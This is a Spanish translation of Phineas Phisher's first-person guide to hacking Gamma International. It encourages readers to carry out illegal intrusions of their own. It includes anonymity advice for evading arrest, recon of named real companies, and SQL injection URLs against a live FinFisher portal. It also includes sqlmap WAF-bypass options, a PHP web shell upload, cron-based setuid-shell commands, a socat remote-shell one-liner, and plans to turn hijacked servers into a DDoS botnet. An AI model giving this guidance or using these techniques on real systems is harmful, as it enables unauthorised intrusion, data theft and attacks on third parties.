Phineas Phisher: HackBack de Gamma International

  _                _              _           _ 
 | |__   __ _  ___| | _____  __ _| | ___  ___| |
 | '_ \ / _` |/ __| |/ / _ \/ _` | |/ _ \/ __| |
 | | | | (_| | (__|   <  __/ (_| | |  __/\__ \_|
 |_| |_|\__,_|\___|_|\_\___|\__,_|_|\___||___(_)
                                                

Una guia casera para aquellos que no tienen la paciencia de esperar a las filtraciones


--[ 0 ]-- Sobre este phile

El 5 de Julio de 2015, la cuenta de Twitter de HackingTeam, una empresa que
vendia servicios de espionaje a gobiernos y corporaciones de todo el mundo, era
comprometida por un individuo que publicaba el anuncio de que "Como no tenemos
nada que esconder, publicamos todos nuestros e-mails, archivos y codigo fuente".

Siguieron enlaces a 400 Gigabytes de datos, incluyendo facturas y el codigo
fuente del malware que HackingTeam usaba.

El ataque fue reivindicado por el hacker conocido como Phineas Phisher. Phineas
habia atacado previamente a la empresa de spyware Gamma International, que
programaba y vendia malware como FinFisher para diferentes gobiernos y
corporaciones.

Lo que sigue es una traduccion de un paper de Phineas [0] en el que explica las
tecnicas que uso para hackear a los Gamma. Pasen y diviertanse ;)

[0] http://0x27.me/HackBack/0x00.txt


--[ 1 ]-- Introduccion

No escribo esto para presumir de lo muy h4x0r 31337 que soy ni de las l0c4s
sk1llz que me permitieron 0wnear a los de Gamma. Escribo esto para demistificar
el hacking, para mostrar lo sencillo que es, y con suerte para informarte e
inspirarte para que salgas ahi fuera y te pongas a hackear buena mierda. Si no
tienes experiencia con la programacion o el hacking, algunos cachos del texto a
continuacion pueden sonarte a chino. Dale una miradita a la seccion de recursos
al final si quieres ayuda para empezar. Y confia en mi, una vez que hayas
aprendido las cosas basicas te vas a dar cuenta de que que esto es mas facil que
rellenar el formulario de peticion de informacion gubernamental.

--[ 2 ]-- La Seguridad es lo Primero

Esto es ilegal, asi que vas a necesitar tomar algunas precauciones basicas:

1) Configurate un volumen cifrado oculto con Truecrypt 7.1a [0]
2) Instala Whonix dentro del volumen cifrado [1]
3) (Opcional) Aunque hacer que todo el trafico pase por tor gracias a Whonix es
   probablemente suficiente, es mejor no usar una conexion que pueda vincularse con tu nombre
   o direccion. Una cantena, el aircrack y el reaver pueden ser utiles aqui.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

Siempre que uses el sentido comun, como no hacer nada relacionado con hacking
fuera de Whonix, no realizar nunca nada de tu uso normal de la compu dentro de
Whonix, nunca mencionar ninguna info sobre tu vida real cuando hables con otros
hackers, y nunca presumir de tus hazanas de hackeo ilegales con tus amigos de la
vida real, entonces puedes hacer mas o menos lo que quieras sin miedo a que te
agarren.

NOTA: Yo NO te recomiendo realizar ninguna actividad de hacking directamente
sobre Tor. Mientras que Tor es usable para algunas cosas como navegar por la
web, cuando llega la hora de usar herramientas de hacking como nmap, sqlmap o
nikto, que estan realizando miles de requests, van a correr muy lentamente sobre
Tor. Sin mencionar que querras una IP publica donde se van a conectar tus
shells. Te recomiendo usar servidores que hayas hackeado o un VPS pagado con
bitcoins para hackear desde ahi. De ese modo, solo la conexion de bajo ancho de
banda de la interfaz de texto entre tu y el servidor va sobre Tor. Todos los
comandos que ejecutes tendran una conexion rapida hasta tu objetivo.

--[ 3 ]-- Mapeando el objetivo

Basicamente, lo que hago es usar fierce [0] repetidamente, busquedas whois sobre
direcciones IP y nombres de dominio, y busquedas whois inversas para encontrar
todo el espacio de direcciones IP y nombres de dominio asociados con una
organizacion.

[0] http://ha.ckers.org/fierce/

Por poner un ejemplo, tomemos a Blackwater. Comenzamos sabiendo que su pagina
esta en academi.com. Ejecutando fierce.pl -dns academi.com encontramos los
subdominios:

67.238.84.228   email.academi.com
67.238.84.242   extranet.academi.com
67.238.84.240   mail.academi.com
67.238.84.230   secure.academi.com
67.238.84.227   vault.academi.com
54.243.51.249   www.academi.com

Ahora realizamos busquedas whois y encontramos que la homepage de
www.academi.com esta alojada en un Amazon Web Service, mientras que las otras
IPs estan en el rango:

NetRange:       67.238.84.224 - 67.238.84.255
CIDR:           67.238.84.224/27
CustName:       Blackwater USA
Address:        850 Puddin Ridge Rd

Una busqueda whois sobre academi.com revela que tambien esta registrada en la
misma direccion, de modo que usamos esa string para realizar busquedas whois
inversas. Hasta donde se, todos los servicios de busquedas whois inversas
cuestan plata, asi que hago trampas con google:

"850 Puddin Ridge Rd" inurl:ip-address-lookup
"850 Puddin Ridge Rd" inurl:domaintools

Ahora ejecuto fierce.pl -range sobre los rangos de IPs que encontra, para buscar
nombres de dominio, y fierce.pl -dns sobre los nombres de dominio para encontrar
subdominios y direcciones IP. Realiza mas busquedas whois y repite el proceso
hasta que hayas encontrado todo.

Ademas, googlea el nombre de la organizacion, y navega por sus sitios web. Por
ejemplo en academi.com, encontramos enlaces a un portal sobre carreras
profesionales, un almacen online, y una pagina de recursos de empleados, de
forma que ahora tenemos algunos mas:

54.236.143.203  careers.academi.com
67.132.195.12   academiproshop.com
67.238.84.236   te.academi.com
67.238.84.238   property.academi.com
67.238.84.241   teams.academi.com

Si repites las busquedas whois y demas, encontraras que academiproshop.com
parece no estar alojada o mantenida por Blackwater, de modo que la tachamos de
la lista de IPs/dominios interesantes.

En el caso de FinFisher, lo que me llevo al portal vulnerable
finsupport.finfisher.com fue simplemente una busqueda whois de finfisher.com,
que lo encontro registrado a nombre de "FinFisher GmbH". Googleando por:
"FinFisher GmbH" inurl:domaintools encuentra gamma-international.de, que
redirige a finsupport.finfisher.com

...de modo que ahora tienes una cierta idea de como mapeo un objetivo.
Esta es de hecho una de las partes mas importantes, ya que cuanto mas grande sea
la superficie de ataque que eres capaz de mapear, mas facil sera encontrar un
agujero en alguna parte.


--[ 4 ]-- Escaneo & Explotacion

Escanea todos los rangos de IPs que encuentres con nmap para encontrar todos los
servicios que esten corriendo. Ademas de un escaneo de puertos estandar,
escanear para SNMP esta infravalorado.

Ahora, para cada servicio que encuentres corriendo:

1) Esta exponiendo algo que no deberia? A veces las empresas tienen servicios
corriendo que no requieren de autenticacion y que solo asumen que son seguros
porque la url o la IP para acceder a ellos no es publica. Tal vez fierce
encontro un subdominio git, y puedes ir a git.nombredelaempresa.com/gitweb/ y
examinar su codigo fuente.

2) Esta horriblemente mal configurado? Tal vez tienen un servidor ftp que
permite lecturas anonimas o permiso de escritura sobre un directorio importante. 
Tal vez tienen un servidor de base de datos con una contrasenha de admin en
blanco (lol stratfor). Quizas sus dispositivos embebidos (boxes VOIP, camaras
IP, routers etc) estan usando la contrasenha por defecto del fabricante.

3) Esta corriendo una version vieja de algun software vulnerable a un exploit
publico?

Los servidores web merecen su propia categoria aparte. Para cada servidor web,
incluyendo los que nmap encontrara con frecuencia en puertos no estandar, lo que
hago generalmente es:

1) Navegar por ellos.
Especialmente en subdominios que encuentra fierce que no estan destinados a
visitas publicas, como test.company.com o dev.company.com, a menudo encontraras
material interesante simplemente echando una ojeada.

2) Correr nikto [0]. Esto chequeara cosas como webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, y unas cuantos miles mas de errores y
malas configuraciones.

3) Identifica que software esta corriendo en el sitio web. WhatWeb es util [1]

4) Dependiendo de que software este corriendo el sitio, usa herramientas mas
especificas como wpscan [2], CMS-Explorer [3], o Joomscan [4].

Primero, prueba esto contra todos los servicios para ver si tienen algun error
de configuracion, una vulnerabilidad conocida publicamente, o alguna otra via
facil de entrada. Si no... es hora de pasar a encontrar una nueva
vulnerabilidad:

5) Las aplicaciones web a medida son un terreno mas fertil para los bugs que
los proyectos ampliamente usados, asi que prueba estas primero. Yo uso ZAP [5],
y alguna combinacion de sus tests automatizados, asi como un poco de pruebas
manuales con la ayuda de su proxy de interceptado.

6) Para los programas no-a-medida que esten usando, conseguite una copia que
puedas curiosear. Si es software libre, puedes descargarlo. Si es propietario,
generalmente puedes piratearlo. Si es propietario y lo suficientemente oscuro
como para no poder piratearlo, puedes o comprarlo (lame!), o usar a San Google
para encontrar otros sitios que esten corriendolo, encontrar alguno de estos que
sea mas facil de hackear, y obtener to copia de aqui.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/


Para finsupport.finfisher.com el proceso fue:

* Dejar nikto corriendo el el background.

* Visitar su sitio web. No ver nada salvo una pagina de login. Comprobar
  rapidamente si el formulario de login era suceptible a sqli. 

* Ver si WhatWeb sabe algo acerca de que software esta corriendo el sitio.

* WhatWeb no lo reconoce, asi que la siguiente pregunta que queria responder es
  si era un website a medida hecho por Gamma, o si habia otros sitios web usando
  el mismo software.

* Mirar el codigo fuente de la pagina para encontrar una URL que pueda buscar
  (index.php no es exactamente unico para este software). Escojo
  Scripts/scripts.js.php, y busco en google:
  allinurl:"Scripts/scripts.js.php"

* Descubro que hay unos cuantos sitios mas usando el mismo software, todos
  codeados por la misma empresa de productos web. Parece que cada sitio esta
  codeado a medida, pero comparten mucho codigo. De modo que hackeo un par de
  ellos para obtener una coleccion de codigo escrito por la misma empresa.

En este punto puedo ver las noticias que escribiran los periodistas para ganar
visitas: "En un ataque sofisticado, comprendiendo multiples fases, los hackers
comprometieron en primer lugar a una empresa de productos web para
adquirir datos confidenciales que les ayudasen en su ataque al Grupo Gamma..."

Pero, realmente, es asi de facil, lo haces casi en piloto automatico una vez que
le has pillado el truco. No tomo mas de un par minutos en:

* googlear allinurl:"Scripts/scripts.js.php" y encontrar los otros sitios

* darme cuenta de que son todos suceptibles de inyecciones sql en el primer
  parametro que intento.

* darme cuenta de que estan corriendo Apache ModSecurity, de manera que necesito
  usar sqlmap [0] con la opcion  --tamper='tamper/modsecurityversioned.py'

* conseguir la informacion de loguin del admin, loguearme y subir una shell php
  [1] (la comprobacion de las extensiones de archivo permitidas tenia lugar en
  un javascript en el cliente), y descargar el codigo fuente del sitio.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Curioseando el codigo fuente, lo podrian haber llamado perfectamente Aplicacion
Jodidamente Vulnerable v2 [0]. Tiene sqli, LFI, comprobaciones de upload de
archivos en javascript del lado del cliente, y si no estas autenticado la pagina
de administrador simplemente te redirige a la pagina de login con un header de
Localizacion, pero puedes simplemente hacer que tu proxy de intercepcion filtre
la cabecera "Location", y accedes perfectamente.

[0] http://www.dvwa.co.uk/

Volviendo al sitio de finsupport, la pagina de admin /BackOffice/ devuelve un
403 Forbidden, y estoy teniendo algunos problemas con el LFI, de modo que cambio
a usar sqli (esta muy bien tener una docena de opciones diferentes entre las que
elegir). Los otros sitios codeados por la misma empresa todos tenian un
print.php inyectable, de modo que unas peticiones rapidas a:

https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1

revelan que finsupport tambien tiene este print.php, y es inyectable. Y es el
admin en la base de datos! Para MySQL esto significa que puedes leer y escribir
archivos. Resulta que el sitio tiene las magicquotes habilitadas, asi qeu no
puede usar INTO OUTFILE para escribir archivos. Pero puedo usar un sencillo
script que usa sqlmap --file-read para conseguir la fuente del php para una URL,
y una peticion web normal para conseguir el HTML, y de aqui encontrar archivos
incluidos o requeridos desde una fuente php, y archivos finds.php enlazados
desde el HTML, y de este modo puedo descargar recursivamente el codigo fuente
del sitio completo.

Leyendo las fuentes, veo que los clientes pueden attachear un archivo a sus
tickets de soporte, y no se hace ninguna comprobacion de la extension del
archivo. Asi que elijo un nombre de usuario de la base de datos, creo un ticket
de peticion de soporte con una shell php... y estoy dentro!


--[ 5 ]-- (cagala) Escalando

 ___________ 
< got r00t? >
 ----------- 
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
            ^^^^^^^^^^^^^^^^

Te puedes rootear en la mitad de los servidores linux que encontraras con dos
sencillos scripts, Linux_Exploit_Suggester [0], y unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport estaba corriendo la ultima version de Debian sin exploits de root
locales, pero unix-privesc-check devuelve:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

asi que meto en el /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

espero una hora, y... nada. Resulta que mientras el proceso cron esta corriendo
no parece que este de hecho ejecutando tareas del cron. Mirando en el directorio
del webalizer, veo que no ha actualizado las estadisticas en el mes pasado.
Parece que tras actualizar la zona horaria el cron a veces correra en el momento
incorrecto, o a veces no correra, y tienes que reiniciar el cron despues de
cambiar la zona horaria. ls -l /etc/localtime muestra que la zona horaria se
actualizo el 6 de Junio, a la misma hora que webalizer dejo de guardar
estadisticas, asi que probablemente es esto lo que ocurrio. En cualquier caso,
parece que lo unico interesante que hace este servidor es alojar el sitio web,
asi qeu ya tengo acceso a todo lo interesante que hay en el. Rootearme no me
conseguiria nada nuevo, asi que me muevo hacia el resto de la red.


--[ 6 ]-- Pivotando

El siguiente paso es  mirar alrededor en la red local de la maquina que has
hackeado. Esto es basicamente lo mismo que el primer paso de Escaneo &
Explotacion, excepto que ahora estas del otro lado del firewall, donde
encontraras que hay muchos mas servicios interesantes completamente expuestos.
Un tar.gz con una copia estaticamente linkada del nmap y todos sus scripts, que
puedes subir y ejecutar en cualquier maquina, es muy util aqui. Los varios
scripts de nmap nfs-* y especialmente los smb-* te resultaran extremadamente
utiles.

Lo unico interesante que pude encontrar en la red local de finsupport fue otro
servidor web que tenia una carpeta llamada 'qatea', y que contenia su malware
para celulares.


--[ 7 ]-- Diviertete.

Una vez que estas en sus redes, comienza la verdadera diversion. Usa tu
imaginacion. Aunque he llamado a esto una guia para futuras filtraciones, no hay
razon para limitarte a filtrar documentos. Mi plan original era:
1) Hackear al Grupo Gamma y obtener una copia de sus programas espias FinSpy
2) Encontrar vulnerabilidades en el servidor de FinSpy.
3) Escanear la internet buscando, y hackear, todos los servidores C&C de FinSpy.
4) Identificar a los grupos que corren este software.
5) Usar el servidor de C&C para subir y ejecutar un programa en todos los
   objetivos, diciendoles quien les estaba espiando.
6) Usar el servidor C&C para desinstalar el FinFinsher de todos los objectivos.
7) Incorporar los servidores C&C en una botnet para lanzar un DDoS contra el
   Gamma Group.

Fue solo despues de fracasar en mi intento de hackear completamente a los Gamma
y terminar con unos cuantos documentos interesantes, pero sin copias del
servidor de FinSpy que tuve que contentarme con el plan secundario, con mucha
menos lulz, de filtrar sus cositas al mismo tiempo que me reia de ellos en
twitter.
Apunten sus GPUs a FinSpy-PC+Mobile-2012-07-12-Final.zip y crackeen la password
de una vez de modo que pueda pasar al punto 2 carajo!


--[ 8 ]-- Otros Metodos

El metodo general que acabo de delinear de escanear, encontrar vulnerabilidades,
y explotarlas, es solo un modo de hackear, probablemente mas adecuado para
aquellos con un background en programacion. No hay una manera correcta, y
cualquier metodo que funcione  es tan bueno como cualquier otro. Las otras
maneras principales que mencionare sin entrar en detalles son:

1) Exploits en navegadores, java, flash o micro$oft office, combinados con mails
a los empelados con un mensaje convincente para que abran un enlace o un
adjunto, o hackear un sitio web frecuentado por los empleados y adjuntando un
exploit de navegador/java/flash a eso.
Este es el metodo usado por la mayoria de los grupos que hacen hacking
trabajando para los gobiernos, pero no necesitas ser un gobierno con millones
para gastarse en investigacion de 0days o en suscripciones a FinSploit o VUPEN
para jugar a esto. Puedes conseguir un kit de exploits ruso de calidad por un
par de miles de pavos, o alquilar acceso a uno por mucho menos. Tienes tambien
el atopwn para navegadores de metasploit, pero probablemente tengas mas suerte
sin exploits y con un actualizador fake para flash ;)

2) Aprovecharte del hecho de que la gente es amable, confiada y dispuesta a
ayudarte el 95% de las veces.

La industria del infosec se invento un termino para hacer que esto suene como
alguna clase de ciencia: "Ingenieria Social". Este probablemente sea el mejor
camino si no sabes mucho sobre computadores, y realmente es todo lo que
necesitas para tener exito como hacker [0].

[0] https://www.youtube.com/watch?v=DB6ywr9fngU


--[ 9 ]-- Recursos 

Enlaces:

* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
  (el resto de sus posts son geniales tambien)
* https://www.corelan.be/ (comienza en Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
  Un truco que se deja es que en la mayoria de sistemas el log de acceso de
  apache puede leerse solo por root, pero puedes aun asi incluirlo desde
  /proc/self/fd/10 o el fd que apache tenga abierto. Seria mas util tambien si
  mencionase en que versiones de php se han fixeado estos trucos.
* http://www.dest-unreach.org/socat/
  Consigue shell reversas usables con una copia linkada estaticamente de socat
  para depositar en tus objetivos y:
  target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
  host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
  Es tambien util para configurar pivoteos raros y toda otra clase de asuntos.

Libros:

* The Web Application Hacker's Handbook
* Hacking: The Art of Exploitation
* The Database Hacker's Handbook
* The Art of Software Security Assessment
* A Bug Hunter's Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated

Admemas del material especifico sobre hacking, cualquier cosa util para un
administrador de sistemas para configurar y administrar redes sera tambien util
para explorarlas. Esto incluye familiaridad con la linea de comandos de windws y
la shell de unix, asi como habilidades basicas de scripting, conocimiento de
ldap, kerberos, active directory, redes, etc.


--[ 10 ]-- Despedida y Cierre

Te daras cuenta de que parte de esto suena exactamente como lo que hace Gamma.
El hacking es una herramienta. Lo que hace que Gamma sea maligna no es el hecho
de que vendan herramientas de hacking. Es mas bien a quien estan apuntando sus
clientes, y con que proposito, lo que les hace malignos. Esto no signific que
las herramientas sean inherentemente neutrales. El hacking es una herramienta
ofensiva. Del mismo modo que la guerra de guerrillas hace mas dificil de ocupar
un pais, siempre que resulta mas barato atacar que defender, es mas dificil
mantener la autoridad ilegitima y la desigualdad. De modo que escribo esto para
que el hacking sea mas facil y mas accesible. Y queria mostrar que el hack del
grupo Gamma realmente no era nada del otro mundo, solo sqli estandar, y que tu
tienes la capacidad para salir ahi fuera y emprender acciones similares.

Solidaridad para la banda de Gaza, los objetores de conciencia israelies, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, y todos los otros hackers en
prision, disidentes y criminales!